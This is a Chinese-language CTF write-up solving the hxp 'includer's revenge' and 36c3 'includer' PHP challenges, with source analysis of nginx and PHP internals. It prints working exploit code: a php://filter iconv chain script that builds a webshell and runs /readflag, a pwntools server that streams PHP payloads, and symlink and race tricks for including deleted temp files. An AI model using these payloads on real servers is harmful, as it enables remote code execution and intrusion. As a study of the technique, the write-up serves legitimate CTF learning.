# includer's revenge (nginx 文件包含)

# 源码

<?php
($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

# 如何产生临时文件

如果光看这些代码,我们可以直接用 36c3 hxp CTF includer 的解法解掉,用 compress.zip://http:// 产生临时文件,包含即可,具体可以看看我之前写的 writeup :36c3 学习记录 #inlcuder

当然这里既然标了 revenge 肯定说明有一些不同的地方,结合题目给我们的附件,我们可以发现相对上一次 includer 题目有了比较大区别,主要在 Dockerfile 里面:

RUN chown -R root:root /var/www && \
    find /var/www -type d -exec chmod 555 {} \; && \
    find /var/www -type f -exec chmod 444 {} \; && \
    chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \
    chmod -R 000 /tmp /var/tmp /var/lib/php/sessions

出题人这里竟然狠心把 php tmp 目录以及一些临时目录都弄得不可写了,所以导致之前题目的产生临时文件的方法就失效了。

所以很明显,我们需要找到另一个产生临时文件,将其包含的方法。

我也考虑过 php 是不是可以有其他产生临时文件的方法,所以自己也去看了一段时间 php 源码,其产生临时文件主要是通过 php_stream_fopen_tmpfile 这个函数,然而这个函数调用都没几处

所以我并没有过多纠结 php 的问题,在 Dockerfile 中我注意到出题人有一行可能类似于 Tip 的操作

RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/var/lock|/var/log/nginx/error.log|/var/log/nginx/access.log)

既然我们要找一个 www-data 用户可写的地方,我们可以参考这个命令把系统中所有的都找出来,看看有没有什么猫腻:

/dev/core
/dev/stderr
/dev/stdout
/dev/stdin
/dev/fd
/dev/ptmx
/dev/urandom
/dev/zero
/dev/tty
/dev/full
/dev/random
/dev/null
/dev/shm
/dev/mqueue
/dev/pts/1
/dev/pts/ptmx
/run/lock
/run/php
/run/php/php7.4-fpm.sock
/run/php/php7.4-fpm.pid
/proc/keys
/proc/kcore
/proc/timer_list
/proc/sched_debug
/var/lock
/var/lib/nginx/scgi
/var/lib/nginx/body
/var/lib/nginx/uwsgi
/var/lib/nginx/proxy
/var/lib/nginx/fastcgi
/var/log/nginx/access.log
/var/log/nginx/error.log

以上我略去了很多 /proc/xxxx ,所以挨个看下来,很明显,似乎后面 nginx 的可能就是我们要的答案,我们可以在网络上搜索一下相关目录用来干嘛的,最后发现 /var/lib/nginx/fastcgi 目录是 Nginx 的 http-fastcgi-temp-path ,看到 temp 这里就感觉很有意思了,意味着我们可能通过 Nginx 来产生一些文件,并且通过一些搜索我们知道这些临时文件格式是: /var/lib/nginx/fastcgi/x/y/0000000yx

那这临时文件用来干嘛呢?通过阅读 Nginx 文档 fastcgi_buffering 部分

Syntax:fastcgi_buffering on \| off;
Default:fastcgi_buffering on;
Context:http , server , location

This directive appeared in version 1.5.6.

Enables or disables buffering of responses from the FastCGI server.

When buffering is enabled, nginx receives a response from the FastCGI server as soon as possible, saving it into the buffers set by the fastcgi_buffer_size and fastcgi_buffers directives. If the whole response does not fit into memory, a part of it can be saved to a temporary file on the disk. Writing to temporary files is controlled by the fastcgi_max_temp_file_size and fastcgi_temp_file_write_size directives.

When buffering is disabled, the response is passed to a client synchronously, immediately as it is received. nginx will not try to read the whole response from the FastCGI server. The maximum size of the data that nginx can receive from the server at a time is set by the fastcgi_buffer_size directive.

Buffering can also be enabled or disabled by passing “ yes ” or “ no ” in the “X-Accel-Buffering” response header field. This capability can be disabled using the fastcgi_ignore_headers directive.

我们大致可以知道当 Nginx 接收来自 FastCGI 的响应时,若大小超过限定值不适合以内存的形式来存储的时候,一部分就会以临时文件的方式保存到磁盘上。

再通过一些资料了解,这个阈值的大小大概在 32KB 左右,并且又根据 Risks of nginx fastcgi buffering or, how iTunes can mess with your Nextcloud server 文章我们可以知道 Nginx 确实可以在 /var/lib/nginx/fastcgi 下产生临时文件。

那么接下来我们只需要简单验证一下,并看一下临时文件内容是什么。我这里简单使用了 python 产生了一个有顺序内容的 tmp 文件:

with open("tmp") as file:
  for i in range(500000):
    file.write("%5s" % str(i))

尝试测试,发现虽然产生了文件夹,但是没有文件,于是我加上了 inotify 监控一下文件行动,并且可以使用 strace 进一步确认:

1.png

我们可以从 inotify 中看到,几乎 Nginx 是创建完文件就立即删除了,但是我们可以基本确认 Nginx 确实可以产生临时文件,只不过创建就被删除了导致我们无法判断文件内容到底是啥。

同时我们可以发现 Niginx 创建临时文件有所规律,为了检查文件内容,我们可以计算出下一次 Nginx 产生临时文件的位置,再对其上级目录使用 chattr +a 临时禁止临时文件删除,这样我们就可以看到文件内容了:

2.png

可以看到临时文件内容就是我们远程 vps 上放的 tmp 文件内容的一部分。

# Nginx 如何产生临时文件

为什么 Nginx 创建文件就立即删除了?有没有窗口期?能不能使用竞争包含呢?

为了弄懂这些问题,便只能直接看 Nginx 源码了,于是直接参考一些 debug 教程弄一个 debug 环境起来即可。

Nginx 关于临时文件的地方并不多,不难找到 ngx_open_tempfile 这个函数:

ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}

Fastcgi 产生临时文件时候的调用栈:

ngx_create_temp_file(ngx_file_t * file, ngx_path_t * path, ngx_pool_t * pool, ngx_uint_t persistent, ngx_uint_t clean, ngx_uint_t access) (/home/zeddy/Desktop/nginx-1.18.0/src/core/ngx_file.c:143)
ngx_write_chain_to_temp_file(ngx_temp_file_t * tf, ngx_chain_t * chain) (/home/zeddy/Desktop/nginx-1.18.0/src/core/ngx_file.c:114)
ngx_event_pipe_write_chain_to_temp_file(ngx_event_pipe_t * p) (/home/zeddy/Desktop/nginx-1.18.0/src/event/ngx_event_pipe.c:843)
ngx_event_pipe_read_upstream(ngx_event_pipe_t * p) (/home/zeddy/Desktop/nginx-1.18.0/src/event/ngx_event_pipe.c:277)
ngx_event_pipe(ngx_event_pipe_t * p, ngx_int_t do_write) (/home/zeddy/Desktop/nginx-1.18.0/src/event/ngx_event_pipe.c:49)
ngx_http_upstream_process_upstream(ngx_http_request_t * r, ngx_http_upstream_t * u) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_upstream.c:3944)
ngx_http_upstream_handler(ngx_event_t * ev) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_upstream.c:1286)
ngx_epoll_process_events(ngx_cycle_t * cycle, ngx_msec_t timer, ngx_uint_t flags) (/home/zeddy/Desktop/nginx-1.18.0/src/event/modules/ngx_epoll_module.c:901)
ngx_process_events_and_timers(ngx_cycle_t * cycle) (/home/zeddy/Desktop/nginx-1.18.0/src/event/ngx_event.c:247)
ngx_single_process_cycle(ngx_cycle_t * cycle) (/home/zeddy/Desktop/nginx-1.18.0/src/os/unix/ngx_process_cycle.c:310)
main(int argc, char * const * argv) (/home/zeddy/Desktop/nginx-1.18.0/src/core/nginx.c:379)

我们从中可以知道如果要让 Nginx 保存临时文件,得满足一个 if 条件,然而我们仔细看该条件,由于是条件,我们可以知道得同时满足才能进入该 if 条件,我们分析一下该 if 条件

  • fd != -1 : fdopen 函数的返回值,我们可以知道只有当 open 函数打开失败的时候才会返回 -1 ,也就是该临时文件不存在的情况下,换句话说就是只要临时文件被 open 函数成功打开,这个条件就是成立的
  • persistent : 该条件从函数上下文我们看不出来有什么关系,需要更进一步分析,通过分析代码,我们可以发现该变量主要在以下三个地方可能被赋值为 1 :
  • 一个地方是 src/http/ngx_http_request_body.c#456 处: tf->persistent = r->request_body_in_persistent_file;
  • 另一个地方是 src/http/ngx_http_upstream.c#4087 处: tf->persistent = 1;
  • 还有一个地方是 src/http/ngx_http_upstream.c#3144 处: p->temp_file->persistent = 1;

我们分别对这几个地方进行详细分析及跟进。

# client_body_in_file_only

第一个地方是 src/http/ngx_http_request_body.c#456 处: tf->persistent = r->request_body_in_persistent_file; ,继续跟进 request_body_in_persistent_file 成员变量,找到其赋值的地方为 src/http/ngx_http_core_module.c#1315 中的 ngx_http_update_location_config 函数当中。

if (clcf->client_body_in_file_only) {
    r->request_body_in_file_only = 1;
    r->request_body_in_persistent_file = 1;
    r->request_body_in_clean_file =
        clcf->client_body_in_file_only == NGX_HTTP_REQUEST_BODY_FILE_CLEAN;
    r->request_body_file_log_level = NGX_LOG_NOTICE;
}

此处我们可以根据上下文判断出该处主要是用于判断是否开启 client_body_in_file_only 选项,根据文档我们可以知道:

Syntax:client_body_in_file_only on | clean | off;
Default:client_body_in_file_only off;
Context:http , server , location

Determines whether nginx should save the entire client request body into a file. This directive can be used during debugging, or when using the $request_body_file variable, or the $r->request_body_file method of the module ngx_http_perl_module.

When set to the value on , temporary files are not removed after request processing.

The value clean will cause the temporary files left after request processing to be removed.

在该选项开启后,Nginx 对于请求的 body 内容会以临时文件的形式存储起来,但是默认为 off ,题目并没有开启,所以这里不用考虑。

# fastcgi_store

另一个地方是 src/http/ngx_http_upstream.c#4087 处:

static void
ngx_http_upstream_store(ngx_http_request_t *r, ngx_http_upstream_t *u)
{
    //...
    tf = u->pipe->temp_file;

    if (tf->file.fd == NGX_INVALID_FILE) {

        /* create file for empty 200 response */

        tf = ngx_pcalloc(r->pool, sizeof(ngx_temp_file_t));
        if (tf == NULL) {
            return;
        }

        tf->file.fd = NGX_INVALID_FILE;
        tf->file.log = r->connection->log;
        tf->path = u->conf->temp_path;
        tf->pool = r->pool;
        tf->persistent = 1;

        if (ngx_create_temp_file(&tf->file, tf->path, tf->pool,
                                 tf->persistent, tf->clean, tf->access)
            != NGX_OK)
        {
            return;
        }

        u->pipe->temp_file = tf;
    }
    //...
}

往上找该函数调用:

if (u->peer.connection) {
    if (u->store) {
        if (p->upstream_eof || p->upstream_done) {
            tf = p->temp_file;
            if (u->headers_in.status_n == NGX_HTTP_OK
                && (p->upstream_done || p->length == -1)
                && (u->headers_in.content_length_n == -1
                    || u->headers_in.content_length_n == tf->offset))
            {
                ngx_http_upstream_store(r, u);
            }
        }
    }
//...
}

得知此处有几个条件,可能都相对比较苛刻,于是我先看 u->store 成员变量的赋值,找到该成员变量主要是在 src/http/ngx_http_upstream.c# 610 处的 ngx_http_upstream_init_request 函数中得到赋值:

static void
ngx_http_upstream_init_request(ngx_http_request_t *r)
{
    //...
    u = r->upstream;
#if (NGX_HTTP_CACHE)
    if (u->conf->cache) {
        ngx_int_t  rc;
        rc = ngx_http_upstream_cache(r, u);
        //...
    }
#endif
    u->store = u->conf->store;
    //...
}

我们可以根据此处上下文,并且查阅一些相关源码资料知道此处 u->conf->store 来自解析配置 fastcgi_store

Syntax:fastcgi_store on | off | string;
Default:fastcgi_store off;
Context:http , server , location

Enables saving of files to a disk. The on parameter saves files with paths corresponding to the directives alias or root.

默认为关闭状态,当我们将这个选项开启为 on 的时候,可以发现我们产生的临时文件最后才消失。因为这个地方需要手动开启,所以在默认情况下我们也很难利用。

# cache

还有一个地方是 src/http/ngx_http_upstream.c#3144 处:

static void
ngx_http_upstream_send_response(ngx_http_request_t *r, ngx_http_upstream_t *u)
{
    //...
    p->cacheable = u->cacheable || u->store;
    //...
    if (p->cacheable) {
        p->temp_file->persistent = 1;
    }
    //...
}

很明显,这个临时文件是作缓存使用的, u->store 上面我们知道了是需要通过配置设置,所以我们接下来,但是我们仍然可以跟一下条件中的 p->cacheable 成员变量,其中只有在 src/http/ngx_http_upstream.c#860 处的 ngx_http_upstream_cache 函数被设置成了 1 ,但是该函数需要开启宏 NGX_HTTP_CACHE ,我们可以在 auto/modules#99 处找到该宏定义

if [ $HTTP_CACHE = YES ]; then
  have=NGX_HTTP_CACHE . auto/have
  HTTP_SRCS="$HTTP_SRCS $HTTP_FILE_CACHE_SRCS"
fi

接着可以在 auto/options 找到 $HTTP_CACHE 的定义默认为 YES ,只有当编译增加选项 --without-http-cache 才会将该宏定义为 FALSE ,也就是说如果正常开启, Nginx 是默认开启这个宏的。

但是该函数还会受到 src/http/ngx_http_upstream.c#569 处的限制 u->conf->cache ,并且通过查看一些文档发现知道这里的 config->cache 也是与 proxy_cache 配置有关的,查阅文档知道 proxy_cache 配置选项默认为 off ,所以这里我们也不考虑。

# Tmp Files After Deleted

由于 Nginx 在 ngx_open_tempfile 函数中,创建临时文件后又立马删掉了临时文件,并且从以上源码审计来看,没有很好的方式让 persistent 变量为 1 ,所以在不能修改默认配置的情况下,直接让临时文件保存下来是基本不可能的。

那我们有没有一个时间窗去包含临时文件呢?由于这创建、删除函数间隔非常短,即使有能让 Nginx Crash 的方法,也很难把握这个时间点,基本上也是没有一个时间窗去直接包含的。

但是我在审计的同时,也产生了一个问题:既然 Nginx 将临时文件用于存储 Fastcgi 响应的临时存储,但是为什么创建之后就删除了?为什么删除之后还持续向里面写内容?难不成删除以后的读写操作还仍然有效???

我觉得这是从开发角度思考来说,仅通过审计这些代码无法解释以上问题,但是这里如果熟悉 Linux 的同学就能意识到,其实以上这些问题可能都不是问题。

On Linux, the set of file descriptors open in a process can be accessed under the path /proc/PID/fd/ , where PID is the process identifier.

众所周知 (我应该是全世界最后一个知道的人了吧),如果打开一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/ 目录下,但是如果这个文件在没有被关闭的情况下就被删除了呢?

我们大概可以用 c 简单复刻一个大概的 demo ,使用如下代码模拟 Nginx 对于临时文件处理的行为,但是最后不关闭文件句柄,使用 sleep 模拟进程挂起的状态:

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <unistd.h>

int main() {
    puts("[+] test for open/unlink/write [+]\n");
    int fd = open("test.txt", O_CREAT|O_EXCL|O_RDWR, 0600);
    printf("open file with fd %d,try unlink\n",fd);

    unlink("test.txt");
    printf("unlink file, try write content\n");
    if(write(fd, "<?php phpinfo();?>", 19) != 19)
    {
        printf("write file error!\n");
    }

    char buffer[0x10] = {0};
    lseek(fd, 0,SEEK_SET);
    int size = read(fd, buffer , 19);
    printf("read size is %d\n",size);
    printf("read buffer is %s\n",buffer);

    while(1) {
        sleep(10);
    }
    // close(fd);
    return 0;
}

编译运行以上代码,我们可以在对应的 /proc/pid/fd 下找到我们删除的文件 ,可以看到虽然显示是被删除了,但是我们依然可以读取到文件内容,所以我们是不是可以直接用 php 进行文件包含呢?

4.png

# 绕过 Php 文件包含统计

这里有个 Include_once, 对于 include 函数,在进行包含的时候,会使用 php_sys_lstat 函数判断路径,这里已经有师傅整理过很详细的文章了:php 源码分析 require_once 绕过不能重复包含文件的限制

php_sys_lstat() 实际上就是 linux 的 lstat() ,这个函数是用来获取一些文件相关的信息,成功执行时,返回 0。失败返回 - 1,并且会设置 errno ,因为之前符号链接过多,所以 errno 就都是 ELOOP ,符号链接的循环数量真正取决于 SYMLOOP_MAX ,这是个 runtime-value ,它的值不能小于 _POSIX_SYMLOOP_MAX

所以虽然直接包含会显示文件不存在,但是这里依然适用于使用多层符号链接绕过的场景,进而包含执行 php 代码,并且根据一开始我们实验的图看到,其实 Nginx 对于临时文件句柄的关闭往往在最后才进行关闭,所以这个过程中有足够的时间让我们去进行竞争包含。

5.png

# 流程

总结起来整个过程就是:

  • 让后端 php 请求一个过大的文件
  • Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
  • 虽然 Nginx 删除了 /var/lib/nginx/fastcgi 下的临时文件,但是在 /proc/pid/fd/ 下我们可以找到被删除的文件
  • 遍历 pid 以及 fd ,使用多重链接绕过 PHP 包含策略完成 LFI

7.png

# LFI 的最终通杀(主角)

Solving “includer’s revenge” from hxp ctf 2021 without controlling any files(脚本)

https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT(字符集)

有一个师傅提出了在不留下文件的情况下包含 PHP shell,而利用的条件仅仅是存在一个可读的文件
使用 PHP filter 的 iconv 字符转换功能,通过非常究极的排列组合,完成了从任意字符串转换到一个 PHPshell 的功能
这个是不是无敌了啊?当文件名完全可控时,文件内容也就约等于完全可控了

思路

  • convert.iconv.UTF8.CSISO2022KR 将始终 \x1b$)C 添加到字符串
  • convert.base64-decode 非常宽容,它基本上会忽略任何不是有效的 base64 字符。

使用这些我们可以执行以下操作:

  1. 如上所述 \x1b$)C 添加到我们的字符串
  2. 应用一些 iconv 转换链,使我们的初始 base64 保持不变,并将我们刚刚添加的部分转换为某个字符串,其中唯一有效的 base64 字符是我们 base64 编码的 php 代码的下一部分
  3. base64-decode 和 base64-encode 将删除其间的任何垃圾的字符串
  4. 如果我们要构建的 base64 还没有完成,则返回 1
  5. base64-decode 获取我们的 php 代码
import requests

url = "http://1.14.71.254:28030/index.php"
file_to_use = "/etc/hosts"
command = "/readflag"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


#  生成一些垃圾 base64过滤器= "convert.iconv. UTF8.CSIISO2022KR|" 过滤器+= “convert.base64-encode|”
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
#  确保删除我们刚刚生成的字符串和其余文件过滤器中的所有等号+= "convert.iconv.UTF8.UTF7|"
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        #解码和重新编码以去除所有无效的base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        #去掉等号
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

print(final_payload)

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

image-20220323132440921

我们跟着脚本看看效果

image-20220323140056567

image-20220323144221569

# step1

  • \x1b$)C 添加到我们的字符串

对应脚本

image-20220323144627506

image-20220323144654535

可以看到已经插入了 \x1b$)C

# step2

image-20220323144827161

image-20220323144903382

这里在第一次的时候没啥作用

# step3

  • 应用一些 iconv 转换链,使我们的初始 base64 保持不变,并将我们刚刚添加的部分转换为某个字符串,其中唯一有效的 base64 字符是我们 base64 编码的 php 代码的下一部分
  • base64-decode 和 base64-encode 将删除其间的任何垃圾的字符串

对应脚本

image-20220323145009186

我们以 p 为例子

image-20220323145108738

可以看到完成第一步后插入了 P,有一些垃圾字符,然后去除无效的 base64

image-20220323145253041

这样就去除了垃圾 base64, 剩下的就将一句话的 base64 像这样重复插入,最后进行解码 getshell

# Includer

Difficulty estimate: medium

Solved:9/321

Points: round(1000 · min(1, 10 / (9 + [9 solves]))) = 556 points

Description:

Just sitting here and waiting for PHP 8.0 (lolphp).

Download:

includer-df39401c4c1c28ab.tar.xz (3.5 KiB)

题目给出源代码以及部署文件,源代码如下:

<?php
declare(strict_types=1);
$rand_dir = 'files/'.bin2hex(random_bytes(32));
mkdir($rand_dir) || die('mkdir');
putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv');
echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n";
try {
    if (stripos(file_get_contents($_POST['file']), '<?') === false) {
        include_once($_POST['file']);
    }
}
finally {
    system('rm -rf '.escapeshellarg($rand_dir));
}

Copy

# Configuration Error

其中配置文件有一个比较明显的配置错误:

location /.well-known {
  autoindex on;
  alias /var/www/html/well-known/;
}

开启了列目录并且我们可以遍历到上层文件夹。

# Upload Arbitrary Data

一开始我看到这个没有 <? 的形式,我想到的是 p 牛博客里面有关死亡 exit 的内容,谈一谈 php://filter 的妙用,奈何原文用的是 file_put_content ,我们这里用的是 file_get_contents ,并且这里的判断也在使用了 file_get_contents 函数之后进行判断是否有 <? ,所以这里的编码绕过就不太可能了。

而且这里最奇怪的就是之前用了一些看似无关紧要的代码,比如使用了 putenv() 函数等,给了我们一个 sandbox ,然而我们似乎无法利用表面的代码进行文件上传啥的操作。

balsn 队伍在公开的 wp 中写了比较详细的源码分析,这里我就配合其中的 wp 进行一下简单的分析。

首先直接给出结论,我们可以使用 compress.zip:// 流进行上传任意文件,接着我们来看看相关原理。

php-src 源代码中,我们可以找到该流的相关触发解析函数 php_stream_gzopen

ext/zlib/zlib_fopen_wrapper.c

php_stream *php_stream_gzopen(php_stream_wrapper *wrapper, const char *path, const char *mode, int options,
                       zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
   ...
   if (strncasecmp("compress.zlib://", path, 16) == 0) {
      path += 16;
   } else if (strncasecmp("zlib:", path, 5) == 0) {
      path += 5;
   }
   innerstream = php_stream_open_wrapper_ex(path, mode, STREAM_MUST_SEEK | options | STREAM_WILL_CAST, opened_path, context);
   ...
   return NULL;
}

Copy

我们可以看到有个标志位 STREAM_WILL_CAST ,我们可以先看看这个标志位用来干嘛,在 main/php_streams.h 定义了该标志位:

/* If you are going to end up casting the stream into a FILE* or
 * a socket, pass this flag and the streams/wrappers will not use
 * buffering mechanisms while reading the headers, so that HTTP
 * wrapped streams will work consistently.
 * If you omit this flag, streams will use buffering and should end
 * up working more optimally.
 * */
#define STREAM_WILL_CAST                0x00000020

Copy

很明显,这是一个用来将 stream 转换成 FILE 的标志位,在这里就与我们创建临时文件有关了。

接着我们跟进 php_stream_open_wrapper_ex 函数,该函数在 main/php_streams.h 中被 define 为 _php_stream_open_wrapper_ex

PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options,
      zend_string **opened_path, php_stream_context *context STREAMS_DC)
{
   //...
   if (stream != NULL && (options & STREAM_MUST_SEEK)) {
      php_stream *newstream;
      switch(php_stream_make_seekable_rel(stream, &newstream,
               (options & STREAM_WILL_CAST)
                  ? PHP_STREAM_PREFER_STDIO : PHP_STREAM_NO_PREFERENCE))
  //...
   return stream;
}

Copy

该函数调用了 php_stream_make_seekable_rel ,并向其中传入了 STREAM_WILL_CAST 参数,我们跟进 php_stream_make_seekable_rel 函数,它在 main/php_streams.h 中被 define 为 _php_stream_make_seekable ,继续跟进

main/streams/cast.c

PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC)
{
   if (newstream == NULL) {
      return PHP_STREAM_FAILED;
   }
   *newstream = NULL;
   if (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) {
      *newstream = origstream;
      return PHP_STREAM_UNCHANGED;
   }
   /* Use a tmpfile and copy the old streams contents into it */
   if (flags & PHP_STREAM_PREFER_STDIO) {
      *newstream = php_stream_fopen_tmpfile();
   } else {
      *newstream = php_stream_temp_new();
   }
   //...
}

Copy

我们可以看到如果 flagsPHP_STREAM_PREFER_STDIO 都被设置的话,而 PHP_STREAM_PREFER_STDIO 在 main/php_streams.h 中已经被 define

#define PHP_STREAM_PREFER_STDIO       1

Copy

我们只需要关心 flags 的值就好了,我们只需要确定 flags 的值非零即可,根据前面的跟进我们易知 flags 的在这里非零,所以这里就调用了 php_stream_fopen_tmpfile 函数创建了临时文件。

于是我们可以做一个简单的验证,在本机上跑源代码,并用 pwntools 起一个服务用来发送一个大文件

from pwn import *
import requests
import re
import threading
import time
def send_chunk(l, data):
    l.send('''{}\r
{}\r
'''.format(hex(len(data))[2:], data))
while(True):
    l = listen(9999)
    l.wait_for_connection()
    data1 = ''.ljust(1024 * 8, 'X')
    data2 = '<?php system("/readflag"); exit(); /*'.ljust(1024 * 8, 'b')
    data3 = 'c*/'.rjust(1024 * 8, 'c')
    l.recvuntil('\r\n\r\n')
    l.send('''HTTP/1.1 200 OK\r
Content-Type: exploit/revxakep\r
Connection: close\r
Transfer-Encoding: chunked\r
\r
''')
    send_chunk(l, data1)
    print('waiting...')
    print('sending php code...')
    send_chunk(l, data2)
    sleep(3)
    send_chunk(l, data3)
    l.send('''0\r
\r
\r
''')
    l.close()

Copy

这样我在本机上用 fswatch 很明显可以看到临时文件已经生成,并且文件内容就是我们发送的内容。

img

# Keep Temp File

临时文件终究还是会被 php 删除掉的,如果我们要进行包含的话,就需要利用一些方法让临时文件尽可能久的留存在服务器上,这样我们才有机会去包含它。

所以这里是我们需要竞争的第一个点,基本上我们有两种方法让它停留比较久的时间:

  • 使用大文件传输,这样在传输的时候就会有一定的时间让我们包含到文件了。
  • 使用 FTP 速度控制,大文件传输根本上还是传输速度的问题,我们可以通过一些方式限制传输速率,比较简单的也可以利用 compress.zlib://ftp:// 形式,控制 FTP 速度即可

# Bypass Waf

接下来我们就要看如何来对关键地方进行绕过了。

if (stripos(file_get_contents($_POST['file']), '<?') === false) {
        include_once($_POST['file']);
    }

Copy

这个地方问了很多师傅,包括一血的 TokyoWesterns 的队员以及参考了主要的公开 WP,基本都是利用两个函数之间极端的时间窗进行绕过。

什么意思呢?也就是说,在极其理想的情况下,我们通过自己的服务先发送一段垃圾数据,这时候通过 stripos 的判断就是没有 PHP 代码的文件数据,接着我们利用 HTTP 长链接的形式,只要这个链接不断开,在我们绕过第一个判断之后,我们就可以发送第二段含有 PHP 代码的数据了,这样就能使 include_once 包含我们的代码了。

因为我们无法知道什么时候能绕过第一个判断,所以这里的方法只能利用竞争的形式去包含临时文件,这里是第二个我们需要竞争的点。

# Leak Dir path

最后,要做到文件包含,自然得先知道它的文件路径,而文件路径每次都是随机的,所以我们又不得不通过某些方式去获取路径。

虽然我们可以直接看到题目是直接给出了路径,但是乍一看代码我们貌似只能等到全部函数结束之后才能拿到路径,然而之前我们说到的需要保留的长链接不能让我们立即得到我们的 sandbox 路径。

所以我们需要通过传入过大的 name 参数,导致 PHP output buffer 溢出,在保持连接的情况下获取沙箱路径,参考代码:

data = '''file=compress.zlib://http://192.168.151.132:8080&name='''.strip() + 'a' * (1024 * 7 + 882)
    r.send('''POST / HTTP/1.1\r
Host: localhost\r
Connection: close\r
Content-Length: {}\r
Content-Type: application/x-www-form-urlencoded\r
Cookie: PHPSESSID=asdasdasd\r
\r
{}\r
'''.format(len(data), data))

Copy

# Get Flag

所以整个流程我们可以总结为以下:

  1. 利用 compress.zlib://http:// or compress.zlib://ftp:// 来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件
  2. 利用超长的 name 溢出 output buffer 得到 sandbox 路径
  3. 利用 Nginx 配置错误,通过 .well-known../files/sandbox/ 来获取我们 tmp 文件的文件名
  4. 发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码
  5. 绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag

整个题目的关键点主要是以下几点 (来自 @wupco):

  1. 需要利用大文件或 ftp 速度限制让连接保持
  2. 传入 name 过大 overflow output buffer,在保持连接的情况下获取沙箱路径
  3. tmp 文件需要在两种文件直接疯狂切换,使得第一次 file_get_contents 获取的内容不带有 <? , include 的时候是正常 php 代码,需要卡时间点,所以要多跑几次才行
  4. .well-known../files/ 是 nginx 配置漏洞,就不多说了,用来列生成的 tmp 文件

